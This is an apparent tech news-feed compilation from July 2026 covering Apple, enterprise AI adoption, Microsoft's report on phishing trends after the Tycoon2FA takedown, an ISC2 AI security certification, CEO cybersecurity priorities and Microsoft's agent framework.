Whether you’re on PC or a console, level up your setup with our gaming expert’s pick of the best chairs
• The best games of 2026 so far
Comfort is crucial to the gaming experience. It’s hard to focus on blasting aliens or taking Stoke to the Champions League final if your bum has gone to sleep because you’ve been sitting on an old chair for three hours. We’re spending more time playing games than ever before, so good posture matters. If you have set up a dedicated gaming space, then a rickety seat just won’t cut it.
From luxurious ergonomic thrones to cheap-and-cheerful bucket seats, the options available are bewildering. So I set out on an epic quest: to find the most comfortable, durable and stylish gaming chairs. Here’s what I discovered.
Best gaming chair overall:

 Secretlab Titan Evo
Best budget gaming chair:

 ThunderX3 Solo 360
 Continue reading...


LHB Linux Digest #26.09: Docker Compose Override, Claude Skills for DevOps, Solidtime and More
Fri, 24 Jul 2026 13:44:12 +0200
Override the compose


Apple wants cheaper iPhone displays to offset spiraling memory costs
Fri, 24 Jul 2026 13:43:47 +0200
As the price of components like RAM and storage continues to skyrocket, Apple has reportedly asked display makers to reduce their prices in an attempt to keep iPhone production costs under control.


Apple hopes to save money on new iPhone displays

According to The Elec's report, Apple has suggested paying suppliers LG Display and Samsung Display around $70 per iPhone 18 Pro Max display. The report suggests that is angling to pay even less, with both companies aiming for per-panel price points of around $66.50.

Apple could pay as much as 20% less than it paid for 2025's iPhone 17 Pro Max displays if LG Display and Samsung Display succeed in meeting that sub-$67 goal.


 Continue Reading on AppleInsider | Discuss on our Forums


What matters more to an employer when hiring, AI or people skills?
Fri, 24 Jul 2026 13:34:29 +0200
Murugan Anandarajan and Cuneyt Gozu of Drexel University explore the characteristics that make a job applicant more attractive in 2026.
Read more: What matters more to an employer when hiring, AI or people skills?


8 Claude Skills I Use Everyday as a DevOps Engineer
Fri, 24 Jul 2026 13:30:07 +0200
Sharing the skills I use for troubleshooting and other purposes as a devops engineer. They are primarily for Claude but should work with other AI tools, too.


Steve Wozniak gave Apple its soul before Steve Jobs made it a hit
Fri, 24 Jul 2026 13:29:45 +0200
It's been over four decades since Steve Wozniak left Apple, but as co-founder and creator of the firm's first computers, Woz still fully enjoys his place in history.


Steve Wozniak in 2026 - Image Credit: CBS Sunday Morning

You're an AppleInsider reader so you know Apple and inescapably, you know the story. Steve Wozniak was the brilliant engineer, Steve Jobs was the brilliant businessman, and Ronald Wayne was, er, something else.

These are the three who founded Apple in 1976, but the story of both Woz and Jobs goes back further, and really also goes deeper. Woz truly was a remarkable engineer but if he had been able to have his way, he'd have been happy giving away everything he made.


 Continue Reading on AppleInsider | Discuss on our Forums


Man gets six years for hacking 750 women's Snapchat accounts
Fri, 24 Jul 2026 13:26:07 +0200
An Illinois man was sentenced on Tuesday to 76 months in prison and three years of supervised release for hacking the Snapchat accounts of over 750 women to steal nude photos. [...]


Why I changed how I pitch AI: It’s no longer about saving money, but managing tokens and adoption
Fri, 24 Jul 2026 13:04:13 +0200

		
					  
						




I have worked alongside enterprise technology for more than 30 years and watched AI evolve from a lab experiment into the modern boardroom’s core focus. However, the last few years of implementing AI alongside our customers have delivered our most profound reality checks.



The initial hype has faded, leaving CIOs to drive real enterprise value. Based on my experience implementing Google, OpenAI and Anthropic technologies, here are the fundamental, technology-agnostic lessons every leader must anchor their strategy around.



AI as a leadership multiplier



The most common tactical error we see is treating AI as an isolated technology project. What I have observed among our customers is that true success does not come from organizations that define a standalone “AI strategy,” but rather from those leaders that integrate AI into their business strategy.



When our customers isolate AI and define an AI strategy, it inevitably treats it like a “technological toy” to experiment with. This approach yields fragmented, orphaned initiatives that fail to scale because they are fundamentally disconnected from their core corporate objectives. What I learned is that AI is not the ultimate destination; it is a powerful catalyst. We have replaced “What can AI do for our customers?” with a more strategic question, “How does AI accelerate their existing business goals?”



Think of AI like electricity. No modern corporation designs a standalone “electricity strategy.” Instead, all companies route it invisibly across the entire organization to illuminate offices, power production lines and drive communication. AI must be woven into the enterprise fabric in the exact same way, acting as an underlying utility that supercharges your existing operational model.



Integrating AI into the broader business strategy also dictates how we measure success. It forces a shift away from short-term tech vanity metrics and anchors the technology into a long-term roadmap.



When AI remains trapped within the IT department of our customers, we notice that it is relegated to a mere “software experiment.” To become a true competitive advantage, we observed that AI requires intense cross-functional orchestration. This perspective does not diminish the merit of the technical team; their expertise is fundamental for establishing the architecture, data governance and tools your enterprise requires. However, while IT builds the foundational infrastructure, it lacks the organizational authority to decide what should be built on top of it. Only the CEO or the owner of the company can step in to ensure AI leaves the “toy project” phase and integrates into the DNA of the organization.



The requirement for top-down, executive ownership stems from three critical realities observed in the field:




Silo-smashing and data collaboration: True enterprise AI is data-hungry and that data lives across disparate business lines, finance, operations, marketing and customer service. Only the CEO possesses the cross-functional authority to demand that data silos be dismantled.



Cultural transformation and fear mitigation: AI triggers widespread anxiety over job displacement across all industries and hierarchies. When relegated to an “IT project,” resistance spikes as teams view it as a threat to their livelihoods. When I saw the CEO lead this cultural shift directly is when I noticed the best results.



C-Suite education and strategic alignment: The mandate for AI capability cannot just be delegated downward; the transformation must begin at the very top. I have conducted more than 70 presentations for the Board of Directors and C-Level teams. These people need to be actively educated not on technical code, but on specific business use cases, return on investment (ROI) frameworks and how AI resolves core organizational bottlenecks.




PwC’s data found that only 12% of enterprises have achieved both cost and revenue benefits from AI. Those elite 12% succeeded precisely because their CEOs embedded AI extensively across strategic decision-making and cross-functional workflows. AI is simply too disruptive and too critical to be left exclusively in the hands of technical experts. If AI is not on the CEO’s weekly agenda, it is fundamentally missing from the company’s true strategy.



AI as a new operational framework



Traditional IT systems have operated on strict algorithmic certainty: if you input a specific set of data, the system executes an immutable line of code and guarantees the same, predictable output every single time.



AI completely breaks this paradigm. Because modern AI is built on probabilistic models, it does not execute static formulas; instead, it predicts the most likely correct response based on mathematical probabilities. This means that AI solutions carry an inherent, small percentage of uncertainty and variability. A prompt entered today might yield a slightly different, though contextually valid, output tomorrow.



Executive leadership and organizational cultures must be actively educated to accept and navigate this fundamental shift. Traditional quality assurance frameworks for software are designed for a 100% success rate. Applying this rigid standard to AI will paralyze your initiatives, keeping 80% of your projects trapped eternally in the pilot phase. This happened to us in a food and beverage company in Latin America a couple of years ago. After this experience, we started to include conditions in our contracts that tolerate statistical margins of error and still define the project as a success.



In terms of cost calculation, we had to teach CIOs and business managers to forget the monthly subscription model for AI and learn to manage the primary unit of exchange in modern AI: the token.



To understand AI costs, executives must understand how large language models process data. AI models do not read full words; instead, they break text, images or code down into “pieces” called tokens. As a baseline, every 100 words process as approximately 130 to 140 tokens. Because the major AI providers use the token as their currency, your business is billed dynamically based on the exact volume of tokens consumed by every query submitted (input) and every response generated (output).



Many leaders believe AI costs are fixed due to flat-rate enterprise tiers ($25–$30/user). This is a temporary illusion. These venture-capital-subsidized rates mask true operational costs and come with dynamic usage limits. Modeling long-term ROI on them guarantees a severe budget shock when true consumption pricing takes over.



The solution is not to halt AI adoption; doing so means losing your competitive edge. Instead, the cost per token must cease to be treated as a technical footnote relegated to the IT department. It must be elevated to a core business variable.



Risks in the AI adoption model



Since the beginning of the AI boom, I have seen all our customers making a critical tactical error that could cost them heavily in the medium term: they are focusing only on operational efficiency (reducing costs with AI).



I have observed that an alarmingly high percentage of companies remain trapped in pilot phases focused exclusively on short-term cost reduction. Bain & Company’s global Automation and AI Pathfinder Survey found that the largest share of companies measuring their AI initiatives (exactly 40%) realized cost reductions of 10% or less, heavily missing their internal targets. Our customers are putting too many resources and effort into marginal financial gains and in doing so, they are jeopardizing their most valuable assets: service quality, resilience and customer trust.



Utilizing AI solely to slash headcount or cut operational corners is a dangerous trap that introduces severe field liabilities. A financial service organization in Latin America announced that they saved $1 million in customer support by replacing humans with AI chatbots. However, the mid-term reality revealed a different story: a damaged brand reputation due to AI errors and an influx of frustrated clients fleeing because the automated system cannot handle special cases.



Putting a company on an extreme AI diet might make it look leaner on next quarter’s financial statement, but over-indexing on cost-cutting will ultimately leave the business too weak to compete when market dynamics shift. We are now inviting our customers to change the question from “How much money will AI save us?” to “How will we leverage AI to exponentially increase the long-term value of our enterprise?”



Deploying enterprise AI is a marathon, not a sprint, and the terrain changes with every mile. The organizations that thrive in this next era will be those that transition from fascination to discipline, treating AI not as a magic bullet for immediate savings, but as a core capability that demands rigorous governance, architectural foresight and cultural maturity. Navigating this shift requires moving past the theoretical hype and anchoring decisions in raw, field-tested reality.



As we continue to deploy these technologies across industries, the blueprint for success is being rewritten in real time. Let’s keep this conversation going as we map out the future of business intelligence together.



This article is published as part of the Foundry Expert Contributor Network.
Want to join?



Email threats changed after the Tycoon2FA take-down
Fri, 24 Jul 2026 12:33:29 +0200

		
					  
						




Traditional phishing techniques are in decline as a result of the disruption of the Tycoon2FA phishing-as-a-service (PHaaS) platform, Microsoft said in a new report, “Email threat landscape: Q2 2026 trends and insights”.



“Phishing volume linked to the platform fell 92% from pre-disruption averages, including QR code phishing and CAPTCHA-gated phishing both declining from their March highs,” the company wrote in the report.



The takedown reduced activity across multiple phishing categories, forcing attackers to shift to newer delivery methods.



Riding this shift in were a few notable phishing campaigns, including an automated business email compromise (BEC) campaign that reached 42,000 organizations in under three hours, and a multi-stage phishing campaign that used nested email (EML) files, calendar invitations, and a Microsoft authentication redirect to deliver malware.



To counter phishing attacks, Microsoft recommends blocking emails containing known bad URLs/ subject fields, enabling password-less authentication methods, or moving to MFA for accounts that still require passwords.



Tycoon2FA disruption sent attackers exploring



The take-down of Tycoon2FA forced its operators to abandon portions of their infrastructure and rework hosting, domain registrations, and delivery mechanisms.



“After falling 15% in March and another 22% in April, Tycoon2FA-linked phishing volume dropped 74% in May to just 1.5 million messages, then fell another 20% in June to 1.2 million, by far the lowest monthly volumes observed in at least a year,” Microsoft said.



The decline extended to QR Code lures and fake CAPTCHA pages, two phishing techniques in which Tycoon2FA accounted for 12% and 14% of industry activity in June, respectively. This indicated that the platform’s customer base had not been able to migrate to a replacement infrastructure.



But cutting off one head of the hacker hydra only gave rise to new tactics elsewhere.



The adaptation came in the form of using Microsoft Teams as a social engineering channel. Attackers established conversations to build trust before attempting credential theft or delivering malicious payloads. “Teams-based phishing volume climbed steadily throughout Q2, with the average number of detected attacks rising 19% from March to April, holding roughly flat into May (+1%), then increasing another 10% into June,” Microsoft said.



Microsoft also observed a highly automated BEC campaign that reached over 67,000 users using scripted emails, Amazon Simple Email Service (SES), and engagement tracking, alongside a separate phishing campaign targeting 107,000 users that abused Microsoft’s authentication flow and trusted cloud services, including Teams archive recording and ICS calendar invite, to disguise malware delivery behind legitimate infrastructure.



Phishing changes but the defense doesn’t



While QR Code and Captcha-based phishing attacks dropped significantly in the second quarter, business email compromise (BEC) charted jumped 121% between March and April, before dropping down again in May.



QR Code phishing represented 8.3 million attacks in June 2026, down from a peak of 18.7 million in March. Similarly, Captcha-gated phishing fell from 12 million attacks in March to 2.2 million in June.



BEC attacks hit 9 million in March, falling to 3.9 million in June.



But even as these phishing classics lost momentum and newer techniques emerged, Microsoft’s defensive advice remained rooted in the basics. It noted organizations should complement email filtering with phishing-resistant authentication such as passkeys and phishing-resistant MFA to reduce the effectiveness of credential theft campaigns.



The company also recommended strengthening Exchange Online Protection and Microsoft Defender for Office 365 with capabilities such as Safe links and Zero-hour Auto Purge (ZAP), in which malicious emails already delivered to mailboxes are removed before they are read, alongside enforcing password-less authentication methods like Windows Hello, FIDO keys, and Microsoft Authenticator.



Microsoft concluded its report with a list of indicators of compromise (IoCs) from the threats observed in the quarter to support detection efforts.



This article first appeared on CSO.



Tycoon2FA takedown reshapes the phishing landscape
Fri, 24 Jul 2026 12:26:57 +0200

		
					  
						




Traditional phishing techniques are in decline as a result of the disruption of the Tycoon2FA phishing-as-a-service (PHaaS) platform, Microsoft said in a new report, “Email threat landscape: Q2 2026 trends and insights”.



“Phishing volume linked to the platform fell 92% from pre-disruption averages, including QR code phishing and CAPTCHA-gated phishing both declining from their March highs,” the company wrote in the report.



The takedown reduced activity across multiple phishing categories, forcing attackers to shift to newer delivery methods.



Riding this shift in were a few notable phishing campaigns, including an automated business email compromise (BEC) campaign that reached 42,000 organizations in under three hours, and a multi-stage phishing campaign that used nested email (EML) files, calendar invitations, and a Microsoft authentication redirect to deliver malware.



To counter phishing attacks, Microsoft recommends blocking emails containing known bad URLs/ subject fields, enabling password-less authentication methods, or moving to MFA for accounts that still require passwords.



Tycoon2FA disruption sent attackers exploring



The take-down of Tycoon2FA forced its operators to abandon portions of their infrastructure and rework hosting, domain registrations, and delivery mechanisms.



“After falling 15% in March and another 22% in April, Tycoon2FA-linked phishing volume dropped 74% in May to just 1.5 million messages, then fell another 20% in June to 1.2 million, by far the lowest monthly volumes observed in at least a year,” Microsoft said.



The decline extended to QR Code lures and fake CAPTCHA pages, two phishing techniques in which Tycoon2FA accounted for 12% and 14% of industry activity in June, respectively. This indicated that the platform’s customer base had not been able to migrate to a replacement infrastructure.



But cutting off one head of the hacker hydra only gave rise to new tactics elsewhere.



The adaptation came in the form of using Microsoft Teams as a social engineering channel. Attackers established conversations to build trust before attempting credential theft or delivering malicious payloads. “Teams-based phishing volume climbed steadily throughout Q2, with the average number of detected attacks rising 19% from March to April, holding roughly flat into May (+1%), then increasing another 10% into June,” Microsoft said.



Microsoft also observed a highly automated BEC campaign that reached over 67,000 users using scripted emails, Amazon Simple Email Service (SES), and engagement tracking, alongside a separate phishing campaign targeting 107,000 users that abused Microsoft’s authentication flow and trusted cloud services, including Teams archive recording and ICS calendar invite, to disguise malware delivery behind legitimate infrastructure.



Phishing changes but the defense doesn’t



While QR Code and Captcha-based phishing attacks dropped significantly in the second quarter, business email compromise (BEC) charted jumped 121% between March and April, before dropping down again in May.



QR Code phishing represented 8.3 million attacks in June 2026, down from a peak of 18.7 million in March. Similarly, Captcha-gated phishing fell from 12 million attacks in March to 2.2 million in June.



BEC attacks hit 9 million in March, falling to 3.9 million in June.



But even as these phishing classics lost momentum and newer techniques emerged, Microsoft’s defensive advice remained rooted in the basics. It noted organizations should complement email filtering with phishing-resistant authentication such as passkeys and phishing-resistant MFA to reduce the effectiveness of credential theft campaigns.



The company also recommended strengthening Exchange Online Protection and Microsoft Defender for Office 365 with capabilities such as Safe links and Zero-hour Auto Purge (ZAP), in which malicious emails already delivered to mailboxes are removed before they are read, alongside enforcing password-less authentication methods like Windows Hello, FIDO keys, and Microsoft Authenticator.



Microsoft concluded its report with a list of indicators of compromise (IoCs) from the threats observed in the quarter to support detection efforts.



What is a business analyst? A key role for business-IT efficiency
Fri, 24 Jul 2026 12:09:04 +0200

		
					  
						




What is a business analyst?



Business analysts (BAs) are responsible for bridging the gap between IT and the business using data analytics to assess processes, determine requirements, and deliver data-driven recommendations and reports to executives and stakeholders.



BAs engage with business leaders and users to understand how data-driven changes to process, products, services, software, and hardware can improve efficiencies and add value. They must articulate those ideas but also balance them against what’s technologically feasible and financially and functionally reasonable. Depending on the role, a business analyst might work with data sets to improve products, hardware, tools, software, services, or process.



The International Institute of Business Analysis (IIBA), a nonprofit professional association, considers the business analyst an agent of change, and says that business analysis is a disciplined approach to introduce and manage change to organizations, whether they’re for-profit businesses, governments, or nonprofits.



Impact of AI on business analyst role



As AI becomes commonplace in the tech industry, business analysts are embracing it as a tool to automate repetitive work in the role. AI tools can be used for workflow and diagramming, process mapping, data analysis, and to automate meeting minutes and transcribe meetings where requirements are established, all designed to speed up the process of analyzing data, creating visuals, and transcribing and writing user stories and acceptance criteria.



AI tools can also help identify patterns, insights, and unique data points that might go unnoticed by humans, and allow a faster time to generate insights for organizations.



Of course, as with all AI tools, they still require humans to oversee prompts, scripting, and evaluate AI outputs to ensure they’re accurate and valid. While they can’t replace the work of BAs, AI can help them spend more time on thoughtful analysis and decision making, rather than mundane tasks such as gathering and summarizing data, and querying.



Business analyst job description



BAs are responsible for creating new models that support business decisions by working closely with finance and IT teams to establish initiatives and strategies aimed at improving revenue and optimizing costs. They need a strong understanding of regulatory and reporting requirements, and have plenty of experience in forecasting, budgeting, and financial analysis combined with knowing KPIs, according to Robert Half Technology.



According to Robert Half, a BA’s job description typically includes budgeting and forecasting, planning and monitoring, variance analysis, pricing, reporting, and creating a detailed business analysis in an effort to outline problems, opportunities, and solutions for a business. It also says BAs should be able to define business requirements and report them back to stakeholders.



Since BAs are tasked with prioritizing technical and functional requirements, identifying what clients want, and determining what’s feasible to deliver, the role requires a deep understanding of systems, how they function, who’ll need to be involved, and the necessary steps to get everyone on board.  



The role is constantly evolving, especially as companies rely more on data to advise business operations. Every company has different issues that a business analyst can address, whether it’s dealing with outdated legacy systems, changing technologies, broken processes, poor client or customer satisfaction, or large, siloed organizations.



Business analyst skills



The BA position requires both hard and soft skills, as they need to know how to pull, analyze, and report data trends, share that information with others, and apply it to business goals and needs.



Not all BAs need a background in IT if they have a general understanding of how systems, products, and tools work. Alternatively, some have strong IT backgrounds and less experience in business, but are interested in shifting away from IT into this hybrid role, which often acts as a communicator between the business and IT sides of the organization. So having extensive experience in either area can be beneficial for BAs.



According to the IIBA, some of the most important skills and experience for a business analyst are:




Oral and written communication skills



Interpersonal, organizational, facilitation, and consultative skills



Analytical thinking and problem solving



Being detail-oriented and able to deliver a high level of accuracy



Knowledge of business structure



Stakeholder and cost-benefit analysis



Processes modeling



Understanding networks, databases, and other technologies




For a more in-depth look at what it takes to succeed as a business analyst, click here.



Business analyst salary



The average annual salary for an IT business analyst is $80,692, according to data from PayScale. The highest paid BAs are in New York, where the average salary is 14% higher than the national average. Dallas, Texas, is second, with reported salaries 6.4% higher than the national average, closely followed by Washington, D.C., where salaries are 6.3% higher than the national average.



Some skills are in higher demand than others, with the potential to boost salary. According to Payscale, these are associated with higher BA salaries. These skills, and the amount they can boost your salary, include:



Skills Salary Boost
ScrumMaster 44%
Microsoft Azure 30%
Supply Chain 27%
Oracle eBusiness Suite 25%
Master Data Management (SAP MDM) 24%
SAP Sales and Distribution (SAP SD) 24%
Product Support 18%
Microsoft Dynamics GP 18%
SAP Quality Management (SAP QM) 18%
Workday Software 15%
 



For tips on boosting your salary, click here.



Business analyst certifications



Although business analysis is a relatively new discipline in IT, a handful of organizations already offer certifications to help boost your résumé and prove your merit as an analyst. Organizations such as the IIBA, IQBBA, IREB, and PMI each offer their own tailored certifications for business analysis. These include:




IIBA Entry Certificate in Business Analysis (ECBA)



IIBA Certification of Competency in Business Analysis (CCBA)



IIBA Certified Business Analysis Professional (CBAP)



IIBA Agile Analysis Certification (AAC)



IQBBA Certified Foundation Level Business Analyst (CFLBA)



IREB Certified Professional for Requirements Engineering (CPRE)



PMI Professional in Business Analysis (PBA)



Certified Analytics Professional (CAP)




For more information about how to earn one of these certifications — and how much they cost — click here.



Business analytics tools and software



BAs typically rely on software such as Microsoft’s Excel, PowerPoint, and Access, as well as SQL, Google Analytics, and Tableau. These tools help BAs collect and sort data, create graphs, write documents, and design visualizations to explain findings. You won’t necessarily need programming or database skills for a BA position, but if you already have these skills, they won’t hurt. The type of software and tools you’ll need to use, however, will depend on your job title and what the organization requires.



ISC2 seeks input from IT pros for AI security certification
Fri, 24 Jul 2026 12:09:03 +0200

		
					  
						




ISC2 has begun developing a vendor-neutral AI security certification aimed at cybersecurity professionals working to secure AI systems and manage emerging AI risks.



The nonprofit organization, best known for the CISSP certification, says it is seeking volunteers worldwide to help define the knowledge and skills that will shape the new credential. While ISC2 has not finalized the certification domains, the certification is expected to address both technical AI security and governance topics, with a pilot exam planned before the end of 2026.



According to Casey Marks, ISC2 chief operating officer, feedback from cybersecurity practitioners led ISC2 to conclude that AI security had grown beyond expanding AI content within existing certifications.



“AI has reached a tipping point,” Marks says. “AI no longer is just another tool; instead, it has fundamentally changed the cybersecurity practice itself.”



ISC2 already includes AI-related content in certifications including CISSP and CCSP, but Marks says practitioners have identified new responsibilities and risks that extend beyond those programs. “Enterprise security teams are currently grappling with significant knowledge gaps, particularly around securing model architectures against new vulnerabilities like prompt injection, data poisoning, and model inversion,” Marks adds.



Organizations are working to understand emerging governance frameworks, including the NIST AI Risk Management Framework and ISO/IEC 42001, while adapting traditional application security and security operations workflows to AI systems, he says.



ISC2 has not finalized the certification domains, but Marks says the organization expects the credential to address both technical controls and governance practices for securing AI systems and managing AI risk. The certification will use ISC2’s established certification development process, which relies on cybersecurity practitioners to define job roles, develop exam content, and validate competencies.



Marks says ISC2 will continue to update the certification through ongoing input from cybersecurity professionals, in addition to its regular certification review process.



The organization is also determining which professionals the certification will target. Marks says AI security responsibilities are emerging across security architecture, risk management, security operations, software development security, governance and compliance, communication and network security, and security assessment and testing. ISC2 says the certification will reflect how those roles are evolving.



For organizations that are building AI security programs now, Marks recommends using existing AI training resources, adopting established governance frameworks, creating cross-functional AI security working groups, and participating in the certification development process.



Marks says ISC2 expects AI knowledge to become part of most cybersecurity roles while a more specialized AI security discipline continues to develop. He says organizations will increasingly need professionals with foundational AI security knowledge, as well as specialists in areas such as adversarial machine learning, model architectures, and AI data pipelines.



Looking ahead, Marks says he expects AI security expertise to evolve into both a foundational skill for cybersecurity professionals and a specialized discipline of its own.



“At this time, we are seeing a hybrid evolution occurring in real time: AI security is simultaneously becoming a baseline expectation for all security roles, while also carving out a dedicated, highly specialized discipline,” Marks says.



3 cybersecurity issues that should keep every CEO awake at night
Fri, 24 Jul 2026 12:09:02 +0200

		
					  
						




For years, I have been saying that cybersecurity is no longer a technology problem. It has become a business leadership challenge.



Yet, despite record levels of spending, ever-growing security teams, increasingly sophisticated technologies and a constant stream of new regulations, organizations continue to suffer major cyber incidents with alarming regularity. Every week seems to bring news of another ransomware attack, supply chain compromise or data breach affecting organizations that many would have assumed were well protected.



The obvious conclusion is that we are asking the wrong questions.



Too many executive teams remain preoccupied with the latest threat actor, the newest security product the CISO wants to buy or the latest vulnerability making headlines. Those issues matter, but they are not what should be keeping CEOs awake at night.



In my view, there are three far more fundamental issues that deserve the attention of every chief executive.



1. Corporate complexity, and the widening gap between business leadership and cybersecurity reality



Perhaps the biggest cybersecurity risk facing large organizations today is not technical at all.



It is the growing disconnect between executive perception and operational reality.



Many boards genuinely believe their organizations are reasonably well protected. They receive regular dashboards showing improving maturity scores, increasing compliance levels, falling vulnerability counts and reassuring traffic-light reports.



Unfortunately, cyber attackers do not read dashboards.



Behind those executive reports often lies an increasingly complex technology landscape, thousands of unmanaged digital assets, ageing infrastructure, rampant shadow IT, fragmented ownership, inconsistent governance and security teams struggling to keep pace with relentless business change.



The problem is rarely a lack of effort.



It is that corporate complexity has reached a level where traditional governance mechanisms are no longer capable of providing an accurate picture of organizational resilience.



Executives believe they understand the level of cyber risk they face because they receive regular reports. Those reports often measure activity rather than resilience.



Governance committees end up debating around another percentage point of phishing awareness or vulnerability remediation, while fundamental issues remain unaddressed in the background.



2. Organizational inertia, and the need for executive structure to evolve faster



Cyber criminals continue to evolve rapidly. Large organizations generally do not.



This is the second issue that should concern every CEO.



Throughout my career, I have observed organizations repeatedly responding to new cyber threats by adding another technology platform, another monitoring capability, another compliance framework or another governance committee.



Very rarely do they stop to redesign how cybersecurity operates.



The result is what I described several years ago as the “Cybersecurity Spiral of Failure”.




As complexity and regulation increase, organizations invest in more security products.



More products create more complexity.



More products and greater complexity generate more alerts.



More alerts require more analysts.



More analysts produce more reports.



More reports continue to build up executive confidence.



Meanwhile, the underlying structural weaknesses remain largely unchanged, technical debt piles up and costs escalate.




And when the inevitable breach eventually happens, reality reveals itself, but distrust also sets in between senior executives and security teams.



This is not a funding problem. Nor is it a skills problem. It is fundamentally an operating model problem.



Many organizations continue trying to solve twenty-first century challenges using governance, accountability, organizational and reporting structures designed twenty-five years ago.



The cybersecurity function itself has evolved dramatically. Many executive structures have not.



This organizational inertia extends beyond technology: It affects budgeting cycles, investment priorities, procurement processes, accountability models and decision-making speed.



Cyber attackers innovate every day. Organizational change often takes years.



That imbalance should worry every CEO.



3. Accelerating technological disruption, and how it challenges organizations in areas where they are intrinsically weak



The third issue is potentially the most significant over the coming decade.




Artificial intelligence, autonomous agents and machine identities



Software supply chain complexity.



Quantum computing, and post-quantum cryptography




Each of these developments represents far more than another technical trend.



Together, they fundamentally change the dynamics of cybersecurity.



Artificial intelligence is transforming countless business processes. At the same time, it is also increasing both the speed and sophistication of cyber-attacks while simultaneously transforming defensive capabilities.



Organizations have become increasingly dependent on software ecosystems that extend far beyond their own direct control. Engaging with the supply chain in ways that lead to a genuine appreciation of the risks involved has become a key challenge for most cybersecurity practices.



Quantum computing may eventually invalidate much of today’s cryptographic algorithms, forcing organizations into one of the largest technology efforts since Y2K — but without the benefit of a fixed deadline and faced by a problem that is considerably more complex and hyperconnected IT estates that have little to do with those of the late 90s.



None of these challenges can be solved overnight: They require clear governance, sustained investment over a few years and cross-functional organizational coordination.



Most large organizations are weak on those three fronts: This is precisely why CEOs should be focusing on them now.



Waiting until some of those risks become obvious will almost certainly be too late.



Businesses naturally prioritise immediate commercial pressures. Cybersecurity often involves preparing for risks whose timing remains uncertain.



But one of the greatest leadership failures I keep seeing remains the inability of organizations to act decisively on known unknowns.



That tension explains why many organizations delay action until external events force them to respond. Unfortunately, cybersecurity rarely rewards late action.



Leadership will determine who succeeds



Cybersecurity discussions still frequently focus on technology. I believe they should focus far more on leadership.



Technology will continue evolving. Threat actors will continue adapting. Regulations will continue expanding. Those developments are inevitable.



What remains within the control of every CEO is how their organization responds.



Does cybersecurity remain an IT issue? Or is it recognised as an integral part of business resilience?



How is cybersecurity accountability assigned at executive level? Or does it still rest largely with a CISO hidden in the organization?



Does the board spend sufficient time discussing resilience? Or does cybersecurity appear only when approving budgets or reviewing incidents?



These questions will increasingly determine organizational success.



The companies that navigate the next decade successfully will not necessarily be those spending the most on cybersecurity. Nor will they be those deploying the latest security technologies first.



They will be the organizations whose leadership recognises that cybersecurity has become a permanent business capability — embedded into governance, strategy, operational decision-making and organizational culture.



That transformation cannot be delegated. It begins with the CEO.



And perhaps that is the single biggest issue that should keep every chief executive awake at night: Not when the next cyber-attack will happen, but whether their organization is evolving quickly enough on those matters to meet a threat landscape that is changing much faster than the business itself.



This article is published as part of the Foundry Expert Contributor Network.
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Maybe the Biggest Problem With A.I. in the Workplace Is People
Fri, 24 Jul 2026 11:27:24 +0200
Learning to use A.I. effectively at work is all about using the same tried-and-true skills we use to be a better manager and collaborator.


The Microsoft agent framework wars are over. The real architecture decision starts now
Fri, 24 Jul 2026 11:04:58 +0200

					  
						




Over the past year, I had the same conversation with almost every team starting an AI initiative. Should we build on Semantic Kernel, AutoGen or Foundry?



At first it felt like the most important architectural decision we’d make. Each framework had its own philosophy, each promised to be the foundation for enterprise AI, and picking the wrong one felt like an expensive mistake. I spent a lot of time helping teams weigh the trade-offs.



Looking back, I think we were asking the wrong question. I certainly was.



I watched teams spend months debating SDKs while the decisions that actually decided whether their applications survived production went unexamined. Some built elaborate orchestration layers for workflows that a few deterministic functions would have handled. Others avoided agent frameworks entirely and later found they’d designed themselves into a corner.



Then Microsoft settled it for us. It introduced the unified Agent Framework, quietly moved Semantic Kernel and AutoGen into maintenance mode, and the debate I’d spent months refereeing was suddenly over. Turns out the answer to “which of the three” was “none of the three, here’s a fourth.” The framework hit version 1.0 and general availability in April 2026, stable across .NET and Python.



What surprised me wasn’t the decision. It was how fast a debate that had eaten so much of our attention stopped mattering. Microsoft changed the menu.



It didn’t change the meal.



The framework was never the hard part



Framework selection dominated almost every early conversation I had about enterprise agents. Which SDK do we standardize on? Which orchestration model gives us the most flexibility? Which one is Microsoft actually betting on?



Fair questions. But after a year of watching these projects play out, I’ve slowly come around to a different view. Those weren’t the questions that decided anything.



The first question I ask now is much smaller. Does this thing actually need an agent?



It sounds obvious, and I still get it wrong sometimes. But it’s the mistake I see most. On one project, a team spent weeks designing a multi-agent workflow for a process that ran the same four steps every time: read a document, validate it, call an API, send a notification. The diagrams looked great. The system in production didn’t. A few well-tested functions would have been easier to build, easier to maintain and a lot easier to trust.



Part of this is just that “agent” has become the word everyone reaches for. Sometimes it’s the right call. Sometimes it’s a workflow we already knew how to build, wearing a newer label. An agent earns its complexity when it genuinely has to decide things you can’t predetermine, choosing between tools, adapting to what it finds, working out its own next step. If you already know every step, you have a workflow, and a workflow is usually the better engineering choice. The consolidation didn’t change that. It just made it easier to see.



What building production agents actually taught me



Once I stopped fixating on frameworks, the same three problems kept showing up. None of them had anything to do with the SDK.



Context beats model choice



Early on I spent a lot of time comparing models, the way you’d agonize over a restaurant menu and then order what you always order. Now I spend most of it thinking about context, which is far less fun and far more useful.



I’ve watched good models fail because they were handed too much, not too little. One team I worked with gave the model access to nearly every internal document they had on the theory that more information meant better answers. It went the other way. Responses got slower, less consistent and sometimes skipped right past the thing that actually mattered. When we cut the context down to only what the task needed, the quality jumped almost immediately. I didn’t predict that. It taught me to be suspicious of “just give it everything.”



The best agent systems I’ve worked on weren’t the ones with the biggest context windows. They were the ones careful about what reached the model, and when. That’s not something the framework hands you.



Failure is where the real work is



Most agent demos look great because they’re built around the happy path. Production doesn’t extend that courtesy.



I remember a project where everything held up in testing. Then a downstream API timed out after the agent had already completed several earlier steps. We couldn’t just restart, because part of the business process had already gone through. We ended up spending far more time on recovery logic than we ever spent on prompts. That project changed how I think about this work. The hard part was never getting the model to make a decision. It was making sure the system didn’t fall apart when reality refused to follow the script.



Tool calls fail partway through. APIs return inconsistent data. Models call the same tool over and over because the last answer wasn’t what they wanted. That’s not the exception; that’s a normal Tuesday. Whether you retry, roll back, pause for a human or push on with partial results is a judgment call, and no framework is going to make it for you.



Identity is the real security boundary



This one surprised me most. The moment an agent stops being a chatbot and starts touching real business systems, identity matters more than orchestration.



Every project gets to the same question eventually. Who is this agent actually acting as? The developer’s credentials? A service account? The user who asked? Get it wrong and you’ve built something autonomous running with more access than any single person should have, which is exactly the kind of thing that looks fine until an audit. The Agent Framework, like most modern tooling, makes it easier to wire agents to tools through standards like the Model Context Protocol. That helps. But where human approval belongs, what needs extra authorization, how much rope to give the thing, those are still yours to decide.



